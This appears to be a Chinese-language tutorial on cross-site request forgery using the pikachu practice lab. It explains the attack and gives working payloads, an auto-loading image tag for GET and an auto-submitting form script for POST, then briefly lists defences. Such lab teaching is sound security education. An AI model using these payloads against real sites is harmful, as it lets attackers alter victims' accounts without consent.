CSRF简介
CSRF全名为Cross site Request Forgery,也称跨站请求伪造。
简而言之,CSRF攻击就是攻击者诱骗受害者在不知情的情况下发起某些恶意请求
,该请求可以是转账,或者是用受害者的身份发信息,改密码等一系列敏感操作。
CSRF原理
先来看下面这个例子(采用pikachu靶场做示例)
登陆后查看个人信息
点击修改个人信息后点击提交
抓包则会发现一条vincex向服务器发起修改个人信息得请求
服务器接受请求后vince得个人信息即修改完成
那该应用修改个人信息流程即可分为以下两步:
-
1.登陆系统
-
2.像服务器发起修改个人信息得请求,实则就是通过csrf_get_edit.php脚本修改个人信息
csrf_get_edit.php?sex=test&phonenum=110&add=test&email=test&submit=submit
当我们构造恶意连接,即伪造上述请求,诱骗受害者在登陆后点击,那就把受害者个人信息修改为我们伪造得信息了。
比如构造以下链接
诱骗vince在登陆后点击,vince点击后他的个人信息遭到恶意修改
就如上面这个例子,Csrf就是攻击者伪造请求,让受害者以受害者的身份去
通过该请求执行一些敏感操作。这些敏感操作可能还包括有修改密码,转账等等
CSRF攻击
CSRF攻击最重要的两个条件:
1.需要受害者登陆
2.受害者点击我们构造的恶意链接或者是恶意页面
一般CSRF攻击可分为GET和POST两种,其原理都一样,只不过请求方式不同
GET
GET请求除了可以让受害者点击恶意链接以外,还可以让他访问我们写好的恶意页面,在页面中用标签进行自动访问我们伪造的请求。这样也实现了让受害者带cookie发出恶意请求的目的。
还是刚才的修改个人信息页面,我们构造一html,其代码如下
<img src=http://192.168.88.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=attack&add=attack&email=attack&submit=submit />
我们将其放在服务器上,然后让受害这访问该页面
可以看到当访问这个页面的时候只看到了一张无法加载的图片,但是实际上自己的信息已经被悄然修改了。
POST
现在请求方式变为POST
此时我们首先应该修改为get请求方式,看对方服务器是否未区分两种请求方式,例如PHP脚本采用request接收参数就不会区分POST与GET.
如果服务器区分POST与GET那我们可构造一个表单诱骗受害这点击,或者直接利用js自动请求。再用pikachu靶场实例。
构造以下脚本
<form id="myForm" action="http://192.168.88.130/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="postcsrf" >
<input type="text" name="phonenum" value="postcsrf" >
<input type="text" name="add" value="postcsrf" >
<input type="text" name="email" value="postcsrf" >
</form>
<script>
window.onload = function(){
document.getElementById("myForm").submit();
}
</script>
然后让受害者访问即可自动发起伪造的POST请求
比较头痛的是这个html脚本在POST的参数中有submit时,js无法执行,好像是因为重名问题,暂未找到解决办法。但是其他解决方法还有很多种,比如用PHP的CURL
浏览器cookie策略
有时候服务端会验证session和本地cookie,但是有的浏览器不允许跨域(可理解为域名)发送本地cookie,比如IE浏览器。但是有的浏览器不会拦截,比如 Firefox2,Firefox3,Opera,Chrome,Android
CSRF防御
验证码
referre检测
参数加密
添加token参数